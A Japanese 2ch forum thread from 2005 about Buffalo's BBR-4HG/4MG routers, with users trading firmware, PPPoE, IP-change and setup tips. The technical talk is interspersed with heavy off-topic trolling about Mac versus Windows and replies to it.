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バッファロー【BBR-4HG/4MG 統合スレッド】 その5

1 :郁 美:05/02/06 01:08:25 ID:UpjXgeKB
バッファロー製有線BroadBandルータ。エントリーモデル"BroadStation"
「BBR-4HG」、「BBR-4MG」のスレ。
現在の最新ファーム1.10。

<製品情報>
BBR-4HG:http://buffalo.melcoinc.co.jp/products/catalog/item/b/bbr-4hg/
BBR-4MG:http://buffalo.melcoinc.co.jp/products/catalog/item/b/bbr-4mg/

<参考リンク>
ルータBBR-4HG試用記(分解図あり)
http://allabout.co.jp/computer/lan/closeup/CU20040217A/index.htm

最安価格(BestGate)
http://www.bestgate.net/shoplist.phtml?productid=BUFFALOBroadStationBBR4HG&sort=1&number=40
http://www.bestgate.net/shoplist.phtml?productid=BUFFALOBroadStationBBR4MG&sort=1&number=40

前スレ
http://pc5.2ch.net/test/read.cgi/hard/1104399107/1-544

2 :不明なデバイスさん:05/02/06 01:10:40 ID:fE0nY8g2
前スレワロス

3 :不明なデバイスさん:05/02/06 01:10:41 ID:tMTbnWBc
ホシュ

4 :不明なデバイスさん:05/02/06 01:42:17 ID:u8qdOhcM
バッファロー BBR-4MG
  速度:60Mbps以上(PPPoE時)、セッション数:不明(800との情報あり)
  機能:○UPnP、VPNパススルー(IPsec/PPTP)、PPPoEマルチセッション
         .MACアドレスによるPC端末のIP固定
       .×VLAN、QoS
  ファーム1.10で高安定に。ユーザーも多く低価格。
  SPIを使用すると30Mbps前後に低下するがxDSLやCATV環境には最適な一台か。
  姉妹機にBBR-4HGがあり、こちらは80Mbps以上(PPPoE時)、SPI使用で45Mbps。


5 :不明なデバイスさん:05/02/06 01:46:29 ID:u8qdOhcM
追加
<参考リンク>
BUFFALO BBR-4HGの実力
http://netspeed.studio-radish.com/netspeeddata/throughput_review/buffalo_bbr4hg.html

6 :不明なデバイスさん:05/02/06 03:57:51 ID:cpiwGFJH
>>1乙 やや早いが流れを考えれば当然だな

それにしても名前欄ワロス



7 :不明なデバイスさん:05/02/06 04:07:17 ID:cpiwGFJH
<過去スレ>
バッファロー BBR-4HG/4MG 統合スレッド その3
http://pc5.2ch.net/test/read.cgi/hard/1099441198/

バッファロー BBR-4HG/4MG 統合スレッド (ファーム改竄厨)
http://pc5.2ch.net/test/read.cgi/hard/1095162297/

バッファロー BBR-4HG / 4MG 統合スレッド
http://pc5.2ch.net/test/read.cgi/hard/1087106493/

【フレッツ】 BBR-4HG 情報スレッド 【鬼門】
http://pc5.2ch.net/test/read.cgi/hard/1071586914/ 

メルコ BBR-4MG ユーザー&情報スレッド
http://pc3.2ch.net/test/read.cgi/hard/1067917276/

8 :不明なデバイスさん:05/02/06 04:17:56 ID:??? ?#
>>1


9 :不明なデバイスさん:05/02/06 10:52:31 ID:rAOW7oKu
プライベートIPがころころ変わるので4HGのログを見たら
一日に何回もPPPoEがstopになってIPを再取得してる・・・
これってルーターが落ちて再起動してるってことでしょうか?


10 :9:05/02/06 11:31:43 ID:rAOW7oKu
書き間違えです
×プライベートIP
○グローバルIP

11 :不明なデバイスさん:05/02/06 13:05:39 ID:sizAOT7p
>9
PPPoE接続方法がオンデマンドになってないかい?
常時接続に変更した?

12 :不明なデバイスさん:05/02/06 16:42:23 ID:cpiwGFJH
>>11
デフォルトじゃ20分のオンデマンドだったよな


13 :不明なデバイスさん:05/02/06 22:41:16 ID:AsSasDsG
Bフレッツに移行予定なんで参考になるなぁ。

14 :不明なデバイスさん:05/02/07 00:50:02 ID:YwhcysMS
うちはYBBで使ってるんだけど、グローバルIPの解放書き換えしても
全然変わらない。
以前、プラネックスのルータを使ってた時はルータの設定を変えるだけで
グローバルIPもコロコロ変わっていたのだが。
解放してモデムを1時間以上電源落としていても変わらない。
ログを見たら必ず同じIPをリクエストしてるみたい。
なんでだろう。

15 :不明なデバイスさん:05/02/07 00:54:08 ID:V/ws5duD
>14

2chで自作自演する為に強制的にグローバルIP
変えようとしてるの?┐(´ー`)┌

16 :不明なデバイスさん:05/02/07 03:20:57 ID:YwhcysMS
>>15
否。
それが目的ではなくて、やたらと激しくWANランプが点滅することがしばしばあるので。
事実、プラネックスのルータの時にIPを変えればランプの点滅は穏やかに
なってたので。

17 :9:05/02/07 09:42:12 ID:IokY8opv
>>11さん、>>12さん
そのとおりでした、解決しました。
ありがとうございます。

18 :不明なデバイスさん:05/02/07 16:18:57 ID:MYOEkhM6
>>16
>やたらと激しくWANランプが点滅
>プラネックスのルータの時にIPを変えればランプの点滅は穏やか

点滅方法は2つ
パケット1つ1つに反応 = 激しく点滅
転送処理してるときに点滅させる(=~ 負荷がかかっている時) = 穏やかに点滅

hubとかLANカードでも両方ある

19 :不明なデバイスさん:05/02/07 16:43:28 ID:k7G2hUl+
また郁美か

20 :不明なデバイスさん:05/02/07 16:46:08 ID:MYOEkhM6
>>19




無料のねっとげー

とーろく
ttp://220.130.113.242:80/New_Registe/NewRegiste_UserData_EN.asp

くらいあんと
ftp://download.gameflier.com.my/mro.zip
ftp://download.gameflier.com.my/sakray_8.5_setup.zip

21 :お団子ちゃん ◆DANGOpn1U2 :05/02/07 23:53:54 ID:V/ws5duD
ウィンドウズで受けてるソフトって、Mac用に開発された
ソフトばっかじゃない?

マイクロソフトで唯一評判のいいエクセルだって、元は
Mac用として開発されたソフトだしね。

やっぱり使いづらい三流OSから生まれるソフトなんて、
良い物になるわきゃないってことだね。┐(´ー`)┌

22 :不明なデバイスさん:05/02/08 00:22:23 ID:w0cyrpV1
次スレに移動

http://pc5.2ch.net/test/read.cgi/hard/1107789696/l50

23 :不明なデバイスさん:05/02/08 00:24:53 ID:y5FJmflc
>バッファロー【BBR-4HG/4MG 統合スレッド】 その6
>1 名前: 郁 美 投稿日: 05/02/08 00:21:36 ID:77ymXGSL

>バッファロー製有線BroadBandルータ。エントリーモデル"BroadStation"
>「BBR-4HG」、「BBR-4MG」のスレ。

・・・。
・・・。・・・。
・・・。・・・。・・・。

いらっしゃ〜い!!
ttp://qb5.2ch.net:80/sec2ch/

24 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 00:43:25 ID:+osKXUvd
ウィンドウズ使ってる人のパソコンって大抵調子悪かったり
するけど、何でだろうね?

使ってる本人もパソコンってこんなもんと、諦めてる人が
多い気がするけど、良い物を知らぬが仏なのでしょうねぇ〜。

おまけにウィンドウズで起きるトラブルって致命的な物が
多いような感じだけど、開発能力のない三流会社が作ると
これが精一杯なのでしょうかね。┐(´ー`)┌

25 :不明なデバイスさん:05/02/08 00:47:35 ID:++jYUvoF
>>各位

徹底スルーで。レス厳禁

26 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 00:49:20 ID:+osKXUvd
Macの場合だとパーティション切った別のボリュームにも
OSをインストールしたり、後付けのドライブにバックアップして
起動したりもできるから、何か有った時にも簡単に修復可能だけど、
Windowsって何かと縛りが多すぎるから不便だよね。

柔軟性が全くないと言うか、ルールを守ってないと直ぐに不都合に
遭遇しちゃうよね。┐(´ー`)┌


27 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 00:53:48 ID:+osKXUvd
ま、ルールーを守って正しく使っていても
メールでじゃんじゃんウィルスはやってくるし、
悪意のある音楽ファイルにマウスを重ねただけでも
ウィルスに感染してしまう危険があるからWinマシンで
正常な状態を維持するなんて不可能に近いだろうけどね。┐(´ー`)┌


28 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 00:56:54 ID:+osKXUvd
毎週キチンとウィルスエンジン&定義ファイルのアップデートを
行い、毎月十何本ものセキュリティーアップデートを行ったとしても、
ウィルスの脅威から身を守ることはできないのだから、運に任せて
使う以外方法はないよね。

日々こんな苦労を強いられるパソコン、良く使ってられるなぁ〜って
関心する。ある意味可愛そうな奴らなんだなドザって。┐(´ー`)┌

29 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 00:59:31 ID:+osKXUvd
ウィルス検索やスパイウェアの検索ってかなり時間が必要だけど、
ドザが汗だくでマシンのチェックしてる間に、マカーはこうやって
ドザをからかって遊んでいればいいんだから、本当気楽でいいよ。┐(´ー`)┌

30 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 01:01:03 ID:+osKXUvd
誰も相手にしてくれないから、もう寝るよ。(´・▽・`)

31 : ◆IAc6UigumM :05/02/08 01:03:54 ID:y5FJmflc
>>25

【規制議論板】質問でも雑談でもOKのスレッド20
http://qb5.2ch.net/test/read.cgi/sec2chd/1106906492/115
>115 名前: ◆cham11BwbI [sage] 投稿日: 05/01/31 13:30:37 ID:H8IWe1D7
>「放置できない人も荒らし」ってのは名言ですね

テンプレに入れないか?

32 :不明なデバイスさん:05/02/08 02:45:53 ID:8Kv9W7Xx
>>4のみて設定確認しようとしたら
SPIの設定見あたらないけどどこにあるん?

33 :不明なデバイスさん:05/02/08 03:12:54 ID:PkWySLBD
BBR-4MGって4HGの改ファーム入れたらスループットもあがるんですか?

34 :不明なデバイスさん:05/02/08 03:55:28 ID:PiXHVotg
なんだか上がるっぽいよ?
MGもHGも同じ物みたいだしね。
つーか、HGがノーマルでMGはHGのディチューン品。

35 :不明なデバイスさん:05/02/08 05:18:08 ID:+g3RHdPY
だね。MGはHGの引き立て役。HGの方が売れてるし。

36 :不明なデバイスさん:05/02/08 09:21:00 ID:S5qmcwk8
>>20
郁美知らないのか?w

37 :不明なデバイスさん:05/02/08 10:58:00 ID:cYKP8uaZ
>>32
セキュリティ中以上にすると勝手にSPI有効になるっぽい。
速度低下の原因はSPIっぽいからSPIだけ切れるようにして欲しいのぅ。

上位機種だと可能だったりするんかな?

38 :不明なデバイスさん:05/02/08 11:32:54 ID:0Q53lmd/
>>33-34
上がるよ。つか、まるっきりHGソノモノになる。

・・・・MG@HG・・・・・

うまい、うますぎる。

39 :不明なデバイスさん:05/02/08 17:53:32 ID:PVrrYakE
XBOXとPCで同時接続したいから4MG買おうと思うんですがこのルータで出来ますか?

40 :不明なデバイスさん:05/02/08 17:56:40 ID:KrMR57n0
できま

41 :不明なデバイスさん:05/02/08 18:06:30 ID:lHY3yNuF
すん

42 :不明なデバイスさん:05/02/08 19:12:39 ID:rTGNJxwK
XBOXってまだ売ってるんだっけ?

43 :不明なデバイスさん:05/02/08 19:25:07 ID:yy1Lh1F7
出来ないんですか?

44 :不明なデバイスさん:05/02/08 20:15:19 ID:xoCwi8Zx
>43
あなたのスキル次第です。

45 :不明なデバイスさん:05/02/08 20:18:57 ID:8Ur6Xg7a
>>39
質問するくらいじゃできま

46 :お団子ちゃん ◆DANGOpn1U2 :05/02/08 20:45:18 ID:+osKXUvd
違法行為や悪事の数々を行って来た
マイクロソフト製のOSなど使ってると、
使う側の性格まで似てしまうのでしょうね。┐(´ー`)┌

47 :不明なデバイスさん:05/02/08 20:53:57 ID:wEb3b/1s
次モデルマダー?



























ファームもいつまでβなの〜?

48 :不明なデバイスさん:05/02/08 21:54:32 ID:b/AgqO4G
とっくに出てないか?1.10

49 :不明なデバイスさん:05/02/08 22:44:42 ID:Eg754cQN
1.11βの話をしてるんだけど…
ttp://buffalo.melcoinc.co.jp/download/driver/lan/bbr4hg.html

50 :不明なデバイスさん:05/02/08 22:59:56 ID:KWkYJr1k
>>49
   一体1.11に何を期待vしてるんだろうね ( ´ー`)y-フゥー...~

51 :不明なデバイスさん:05/02/08 23:01:43 ID:EPppY43u
胴衣、現行でとりあえず安定しているんだから
わざわざ博打打つ必要ないと思うんだが…?

52 :不明なデバイスさん:05/02/08 23:59:49 ID:w0cyrpV1

バージョンアップ内容は以下の通りです。

Ver1.11β→Ver1.11
 
・特に変更はありません。

53 :不明なデバイスさん:05/02/09 00:12:20 ID:oAzuAo6n
ワロタ

54 :お団子ちゃん ◆DANGOpn1U2 :05/02/09 01:46:02 ID:3CZLsohG
みんなで折れをシカトして、ここから
追い出そうとしているのですか?

マカーは相手にして遊んでくれるのに、
ドザの人は冷たい人ばかりですね。

やはり暖かみの無いOSを使っていると
人格まで変わってしまうのですね。(´・▽・`)

55 :不明なデバイスさん:05/02/09 02:04:07 ID:XBFDyOTW
>>52
ワロタw

56 :不明なデバイスさん:05/02/09 02:21:47 ID:N57SMLP1
MGもHGも安定して売れてるようだから
次期モデル、開発は区切りついてても
発売に関しては、しばらく様子見じゃないかと。

57 :不明なデバイスさん:05/02/09 04:33:13 ID:JnYU6kFS
>>56
できればMG/HGの隠れた不具合を完璧(実用域)に仕上げてから
次期モデルのバグ取りをしてもらいたいものだね。

1.11のベータは1.12で外されるようになるくらいに追い込んで
もらいたいものだ。
これで気持ちよく使えるルーターに仕上がったら不良在庫をかかえず
に在庫処分できるだろうし、次期モデルに対する期待感も増して
結果的に成功するだろう。




という夢をみました。
夢よ現実になぁ〜れ!!

58 :不明なデバイスさん:05/02/09 08:55:40 ID:pfho9DT5
ばっきゃろー(堕メルコ)に期待する方が間違っていないか?

59 :不明なデバイスさん:05/02/09 10:46:55 ID:Oshl6OZj
>>54
>31


60 :不明なデバイスさん:05/02/09 10:57:45 ID:tbF9itSD
>>59
アンカーつけんなよ。

61 :不明なデバイスさん:05/02/09 11:43:26 ID:S+hEoEqo
>59 余計なことすんじゃねーよバヤ!

62 :不明なデバイスさん:05/02/09 12:21:10 ID:bBdO9Wjd
>>60
>>61
アンカーry

63 :不明なデバイスさん:05/02/09 12:27:18 ID:jiCQjmwq
負けちゃいけない

64 : ◆IAc6UigumM :05/02/09 14:28:28 ID:Oshl6OZj
>>60-62
報告したくてうずうず

to
【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/l50

65 :不明なデバイスさん:05/02/09 15:57:13 ID:GCis85nZ
ファーム改竄厨のスレ、見れないね

66 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 00:23:13 ID:EKa+WGkB
★★★ 今日のコピペ ★★★

アップルはマイクロソフトにも暗影を投じている。ジョブズはMac OS X
Tigerが、マイクロソフトのLonghornに搭載されるものの全てを搭載すると
話す。「マイクロソフトはオリジナルMacをWindows 95にコピーしたが、
彼らは今再び我々をコピーしようとしている。」Mac OS Xは非常に堅牢で、
アップルは軍や大学のスパコンセンターといった、これまでMacを検討すら
しなかった市場にもMacを売り始めている。最も興味深いゴシップに、Mac
OS XをIntelチップに適応させてライセンスするよう、三大PCメーカーが
ジョブズに言い寄っているというものがある。

それはなぜか?ウインドウズのセキュリティー問題にうんざりとし、Longhornを待つのに疲れた多くの顧客がいるからだ。

★★★ MSが月例パッチ12件公開、うち8件が「緊急」 ★★★
http://www.itmedia.co.jp/news/articles/0502/09/news008.html

たった1ヶ月の間に緊急レベルが8件もあるなんて、三流品OSにも
ほどがありますなぁ〜。┐(´ー`)┌

67 :不明なデバイスさん:05/02/10 00:28:37 ID:PxMHrz2+
987 :お団子ちゃん ◆DANGOpn1U2 :04/12/24 23:53:15 ID:svqaQH32
★☆★ みなさんメリークリトリス ★☆★
987 :お団子ちゃん ◆DANGOpn1U2 :04/12/24 23:53:15 ID:svqaQH32
★☆★ みなさんメリークリトリス ★☆★
987 :お団子ちゃん ◆DANGOpn1U2 :04/12/24 23:53:15 ID:svqaQH32
★☆★ みなさんメリークリトリス ★☆★
987 :お団子ちゃん ◆DANGOpn1U2 :04/12/24 23:53:15 ID:svqaQH32
★☆★ みなさんメリークリトリス ★☆★
987 :お団子ちゃん ◆DANGOpn1U2 :04/12/24 23:53:15 ID:svqaQH32
★☆★ みなさんメリークリトリス ★☆★
987 :お団子ちゃん ◆DANGOpn1U2 :04/12/24 23:53:15 ID:svqaQH32
★☆★ みなさんメリークリトリス ★☆★

68 :不明なデバイスさん:05/02/10 00:39:45 ID:BHCKPPEK
明日4HG買おうと思ってるんだけど、素人が扱うには使い勝手とかどうなんでしょ?

69 :不明なデバイスさん:05/02/10 00:49:38 ID:LvZa++xb
http://www.itmedia.co.jp/pcupdate/articles/0502/09/news025.html

数少ないはずの自社製品の互換検証もできないメーカーって ぷっ

70 :不明なデバイスさん:05/02/10 00:50:01 ID:YSygD59H
BBR-4HGしか使った事のない素人だが、普通に使えてる。
つか、思いっきり初心者向きのルーターだよ。
逆にコレが使えなかったら、ルーター導入なんて一生_

71 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 00:57:08 ID:EKa+WGkB
>69

この場合互換性って言い方おかしくないですか?
要は、USBにiPod shufflは直結できないよってだけの話。
本来ならわざわざ記事にするほどのことでもない。┐(´ー`)┌


72 :不明なデバイスさん:05/02/10 00:59:19 ID:qGhgdvWS
基地外にエサを与えないでください

73 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 01:06:50 ID:EKa+WGkB
iPod shufflは必ずしもパソコン本体に直結しなければ
使えないような物でもないし、そりゃ色々な形状のパソコンが
出回っているのだから、USB周りの形状次第では直結できない
パソコンだてあるでしょうね。

だからと言って、iPod shufflの形状をそれらに合わせて作れとでも
言いたいのですか?

直結できない場合はUSBハブでも、延長ケーブルでも何でも使えば
済むのだから、そんなことわざわざ問題にする方がおかしいと思い
ますがね。┐(´ー`)┌

74 :不明なデバイスさん:05/02/10 01:08:50 ID:A+bHKh5x
>>70
>初心者向き
初心者でも使いづらい気がする

それよか
BLR-TX4(のハブ部分を除く)も同じだな

75 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 01:12:58 ID:EKa+WGkB
ま、Macの場合はそんな些細なところをつつくことしか
できないほど、大した問題も出ないので仕方ないのかも
知れませんね。┐(´ー`)┌

些細な問題をさも大きく見せようと必死になっているより、
もっと自分たちの足下気にした方がいいですよ〜。

【Windowsに大量の脆弱性】
http://pcweb.mycom.co.jp/news/2005/02/09/007.html

76 : ◆IAc6UigumM :05/02/10 01:55:56 ID:A+bHKh5x
http://qb5.2ch.net/test/read.cgi/sec2chd/1103673750/707 ・・・みゅ〜

77 :不明なデバイスさん:05/02/10 04:33:33 ID:??? ?#
BBR-4HG/4MGに関係ない話はスルーでお願いします

78 :不明なデバイスさん:05/02/10 09:23:29 ID:/3gqieY4
Winってホント駄目だな。欠陥ばかり。

79 :不明なデバイスさん:05/02/10 09:48:25 ID:EgjshW/2
>>78だけ死ねゴキブリ野郎

80 :不明なデバイスさん:05/02/10 10:04:18 ID:Lj20ufXm
このルータのハブ部分てどう?
あんまり良くないのかな。
みんなはハブは別途用意してる?

81 :不明なデバイスさん:05/02/10 10:21:09 ID:xDnGUf5q

 ん
  な


82 :不明なデバイスさん:05/02/10 10:25:43 ID:/3gqieY4
>>79
お前も欠陥品か?屠殺場へ逝け

83 :不明なデバイスさん:05/02/10 11:12:25 ID:UiiJjGXs
>>82
空気嫁無い馬鹿ハケーン

84 :不明なデバイスさん:05/02/10 11:22:31 ID:8oURni9D
ヤフーBBなんだけどモデムの電源切って放置してもIPアドレスが同じのまま
なんです。ルーターのアドレス開放→書き換えしても同じ。
どうすればアドレスがかえられますか?

85 :不明なデバイスさん:05/02/10 11:39:03 ID:WfqDaoI8
その前に何故IPが固定だと不都合なのか、それを答えてもらおうか?

86 :不明なデバイスさん:05/02/10 12:12:35 ID:bXUgEyfw
ホロン部じゃないかな。

87 :不明なデバイスさん:05/02/10 12:55:38 ID:SdUwGwvy
>>84
ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1114194

88 :不明なデバイスさん:05/02/10 12:55:53 ID:rH4NwOGZ
>>84
どのぐらい放置した?
 あほーの場合ある一定の時間以上モデムの電源を抜いて放置しないと
 提供されるIPアドレスの変更は出来ない。
 あほー関係のスレによく出ていると思うが24時間以上放置しないとか
 書かれていると思う。

89 :不明なデバイスさん:05/02/10 15:21:05 ID:CwX/rrCM
24時間って…(゚Д゚;)

90 :不明なデバイスさん:05/02/10 15:41:17 ID:8oURni9D
>>85
同じヤフーからアタックブロックが検出されるよになったからです。

>>87
結局、PC直結でやるしかなさそうなのかな?

>>88
3時間ほど電源切って放置してました。
このルーター買うまでは1時間放置で必ずIPかわっていたので
現在パニクッてます。

91 :不明なデバイスさん:05/02/10 15:44:44 ID:CwX/rrCM
念のため聞くけど、コンパネ→ネットワークの接続→切断 はお試し済みだよね?

92 :不明なデバイスさん:05/02/10 16:23:33 ID:/0WIzkin
4HG買ってきた〜 (・ω・)ノ
これは忘れずにやっとけみたいな設定ある?

93 :不明なデバイスさん:05/02/10 17:31:52 ID:UiiJjGXs
>>92
4MGの最新ファーム当てる事


94 :不明なデバイスさん:05/02/10 18:02:54 ID:EOLjW7xh
>>92
ファームを最新にすること

95 :不明なデバイスさん:05/02/10 18:04:15 ID:T2QYKUcy
>>93
ワラタ

96 :92:05/02/10 18:17:20 ID:/0WIzkin
>>93
(´・ω・`)

>>94
元から1.10だったよ

97 :不明なデバイスさん:05/02/10 18:28:04 ID:BjPU/RzS
>>92
ルータのアドレスを192.168.101.1に設定。

98 :不明なデバイスさん:05/02/10 21:38:25 ID:O1fjpIW9
>>88
プラネックスのルータだとどこでもいいのでルータの設定を変更すると
ルータの再起動がかかってIPがその度に変わるよ。
でもなぜかバッファローのは変わらない。

99 :92:05/02/10 21:46:44 ID:aC9M1s5G
>>97
(・ω・)ノ シタヨー
これすると安定するらしいんだね
ありがと

100 :不明なデバイスさん:05/02/10 22:31:51 ID:JgfxjCqf
>>92
新しい内に本体べタベタ触っとく事だな

101 :92:05/02/10 22:45:33 ID:Zv1lKamX
>>100
(´・ω・)ノシ[:] ペタペタ シタヨー

このスレの人、みんなやさしい
でも、ペタペタの意味がわかんない

102 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 23:14:33 ID:EKa+WGkB

□■□ お団子ちゃんからのお願い □■□

この手の通報等されますと、お団子ちゃんは
著しくやる気を損ねてしまいます。(>76)

今後この手の不手際が無いよう、ぐれぐれも
お気をつけて頂きたく存じます。


103 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 23:24:13 ID:EKa+WGkB
【良い子と悪い子のアップデーター】

もしMacでアップデーターが公開された場合

キタ━━ヽ(ヽ(゚ヽ(゚∀ヽ(゚∀゚ヽ(゚∀゚)ノ゚∀゚)ノ∀゚)ノ゚)ノ)ノ━━!!!!

もしWindowsでアップデーターが公開された場合

ちくしょう面倒くせーな!
ったく毎度毎度ウゼーんだよ!(#`皿´) 凸

104 :不明なデバイスさん:05/02/10 23:30:50 ID:MBCsWbEH
      ,、、、----‐‐‐‐‐--、,
     /           :ヽ
    /              :\
   ./            ,,,,;;::''''' ヽ
  /    ,,,,;;:::::::::::::::       __   ヽ
  |   .  __       '<'●,   |
  |.   '"-ゞ,●> .::            |
  |           ::: :⌒ 、      | 
  ヽ.      ;ゝ( ,-、 ,:‐、)      | 
   l..            |  |      | 
   |        __,-'ニ|  |ヽ_     |
    ヽ:        ヾニ|  |ン"    /__
    .ヽ:        |  l, へ      ::::ヽ,
     l.:`.         / /  , \  /ヽ  ::\
     `、:::::       |    ̄ ̄\/ ノ    :::ヽ
      |::::::      |      ー‐/ /      ::::\

105 :不明なデバイスさん:05/02/10 23:33:16 ID:A+bHKh5x
分かってないようだな
http://www.google.co.jp/search?hl=ja&lr=&ie=UTF-8&q=+site:qb3.2ch.net+%E2%97%86IAc6UigumM

106 :お団子ちゃん ◆DANGOpn1U2 :05/02/10 23:51:05 ID:EKa+WGkB
君たちって、Windowsみたいな危険で
ポンコツOS使ってて嫌気がささないの?

年間数十本ものセキュリティーアップデートに迫られ、
ウィルス検査やスパイウェア検査にデフラグ・・・。

こんな余分な作業に伴う時間的浪費も莫大だろうし、
これほど日々ハードディスクを酷使してたらディスクも壊れ易い
だろうし、現に私の周りのウィンドウズユーザーではディスクが死んで、
データー失う奴が多いよ。┐(´ー`)┌

107 :お団子ちゃん ◆DANGOpn1U2 :05/02/11 00:00:56 ID:EKa+WGkB
Macは出来の良いジャーナリング機能が搭載されているので、
ディスクトラブルが起き難い上、ハードディスクが持っている
自己診断機能(S.M.A.R.T.)の監視機能も付いているので、
故障を未然に防ぐことができる。

おまけに、自動でデフラグをやってのける上に、標準でRAID機能も
搭載されているので、データー管理の面でも安心して使えるから良いね。┐(´ー`)┌



108 :お団子ちゃん ◆DANGOpn1U2 :05/02/11 00:04:16 ID:EKa+WGkB
もちろんディスクの丸ごとバックアップもできるし、
バックアップした側からの起動だって可能だから、
万が一の時にもMacなら安心だね。ヽ( ・∀・)人(・∀・ )ノ


109 :不明なデバイスさん:05/02/11 00:06:27 ID:A+bHKh5x
>自己診断機能(S.M.A.R.T.)の監視機能も付いている
MAC OS8.6 〜 9.xにあったか?



と釣られてみる

110 :不明なデバイスさん:05/02/11 00:15:48 ID:RJx9BZGx
なんだかよく分かりませんが、ここにお団子ちゃんおいておきますね

  (G)´ ̄`ヾ)
   Yノノノハ))〉
  。〃(l ゚ ヮ゚ノヽ。
   °(つ~(つ
    ノ_ハゝ
     し'ノ

111 :不明なデバイスさん:05/02/11 00:19:05 ID:wSyjPLHy
>>109-110
>>31>>76


112 :不明なデバイスさん:05/02/11 00:21:10 ID:WjvgEals
>110
そうか
Macって
ギガバイトマザーにlinux(or FreeBSD)を入れたやつだったか



と・・・

113 :不明なデバイスさん:05/02/11 00:22:02 ID:wm+ma+hf
いや 有難いんだけど
るぅりん☆6歳 ってキャラは微妙だな

いや 有難いんだよ

114 :不明なデバイスさん:05/02/11 00:25:59 ID:WjvgEals
メモ

>>62 の継続
共通店
名前欄:「お団子ちゃん ◆DANGOpn1U2」
メール欄:(空白)
スレと関係ない話を永遠と・・・
http://pc5.2ch.net/test/read.cgi/hard/1107619705/102 05/02/10 23:14:33 ID:EKa+WGkB
http://pc5.2ch.net/test/read.cgi/hard/1107619705/103 05/02/10 23:24:13 ID:EKa+WGkB
http://pc5.2ch.net/test/read.cgi/hard/1107619705/106 05/02/10 23:51:05 ID:EKa+WGkB
http://pc5.2ch.net/test/read.cgi/hard/1107619705/107 05/02/11 00:00:56 ID:EKa+WGkB
http://pc5.2ch.net/test/read.cgi/hard/1107619705/108 05/02/11 00:04:16 ID:EKa+WGkB

to
【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/l50

115 :不明なデバイスさん:05/02/11 00:57:20 ID:7D2MD4lW
4MGなんすけど、ブラウザで機能設定の
"ネット対応ゲーム・アプリケーションを使用する"が開かなくなりますた。
どうすればいいんでしょう・・?
えろいひとお願いします。

116 :不明なデバイスさん:05/02/11 01:54:14 ID:i+4TCSlE
電源入れなおしてみるとか、初期化ボタン押してみるとか

117 :不明なデバイスさん:05/02/11 02:55:44 ID:6i5Zd5er
>115
今日はえろくない気分だから教えない(´・ω・`)


118 :115:05/02/11 02:56:41 ID:7D2MD4lW
>116
d
両方ダメで、1.11β入れて初期化でやっと直りました。

119 :不明なデバイスさん:05/02/11 03:12:26 ID:g/kaBfiB
>112 なになに?ギガバイトマザーって良くないの??

120 :不明なデバイスさん:05/02/11 03:19:13 ID:6i5Zd5er
俺はギガバイト好かん。
とても良くなかった。

121 :不明なデバイスさん:05/02/11 04:36:06 ID:4F9zrkTH
店員オススメで買ったものの、色々不安定だし最後はBIOSさえまともに起動できなかった…
GIGABYTEはMSI以下と言っても過言ではなかろう。

122 :不明なデバイスさん:05/02/11 05:48:39 ID:ST363shI
知識がないヤツは何買ってもダメ

123 :不明なデバイスさん:05/02/11 08:30:04 ID:WjvgEals
─┼─┐─┼─  /  ,.          `゙''‐、_\ | / /
  │  │─┼─ /| _,.イ,,.ィ'    ─────‐‐‐  ・ ←>>119-121
  │  |  │     |  |  | イン ,'´ ̄`※   // | \
                    __{_从 ノ}ノ/ / ./  |  \
               __/}   `く((/  ./   |
      ,. ,. -‐===‐-`つ/ ,.イ    // ))  /   ∵|:・.
    〃〃〃〃     / /ミノ__  /´('´   /   .∴・|∵’
ヽ_I__I__I__I__I_I     __∠_/ ,∠∠_/゙〈ミ、、
ー{____,,.二二二二) ノ く{ヽ、/ ゙Y} ゙
 /I I I I I I    `^^'    \ !  }'
                   ,'  /
スレ違い!

124 :不明なデバイスさん:05/02/11 10:46:07 ID:IcfntMQb
>>115
ウイルスソフトがわるさしていない?

125 :不明なデバイスさん:05/02/11 10:46:31 ID:i+4TCSlE
>>123
ネタが無いんだよ・・・

( ゚∀゚)o彡゚ みずきちおっぱい!
ttp://toshi.main.jp/blog/picture79.jpg
ttp://toshi.main.jp/blog/picture80.jpg

126 :不明なデバイスさん:05/02/11 13:44:56 ID:tFiu6Boy
前実家で使ってたNTT-MEのが壊れてあんまり実家では使わないから
コストパフォーマンスがよさそうなこれ買ったんですけど
192.168.101.1化はなぜ安定するんですかね?
今のフォームだと関係ないんですかね??

127 :不明なデバイスさん:05/02/11 16:09:10 ID:6/462erx
>126
192.168.101.1で俺も安定した一人だが、なぜかは分からん!
今のフォームだと関係ないかどうかは誰かが192.168.11.1の
標準に戻してためしてみれば分かる。
面倒くさいから誰もやらんと思うがね。
君がためしてみてはどうかね?


128 :不明なデバイスさん:05/02/11 16:21:47 ID:bNzXKiL/
4MGと4HGで悩んだんですが、結局4MG買ってきてファーム入れ替えて
4HGもどきにしました。 ググッタけど情報少なくて結構結構たいへんでした。
何とかなりました(バイナリエディタで1文字だったね)記念書き込みでつ。
ハード同じだって教えてくれたからありがとうです。

129 :不明なデバイスさん:05/02/11 17:00:19 ID:aLLYo19G
設定ログインのパスワードってみんな入れてる?

130 :不明なデバイスさん:05/02/11 18:07:26 ID:8LrhIfLT
>>129
入れてないの?ガクガク(((( ;゚Д゚))))ブルブル

131 :不明なデバイスさん:05/02/11 18:26:59 ID:eSJ3kkh1
オイコイツ・・・

132 :不明なデバイスさん:05/02/11 19:07:27 ID:Q1MZ0vDZ
マルチですみません。教えて下さい。
BBR-4HGを使って半年。ddnsサービス(http://ddo.jp/というサイト)を
使って、外から東芝のDVDレコーダーを操作しているのですが、
いつも半月〜1ヶ月でDNSサーバーエラーが出てしまいます。
こうなるとルーターを再起動しても無駄で、初期化して再設定しないと
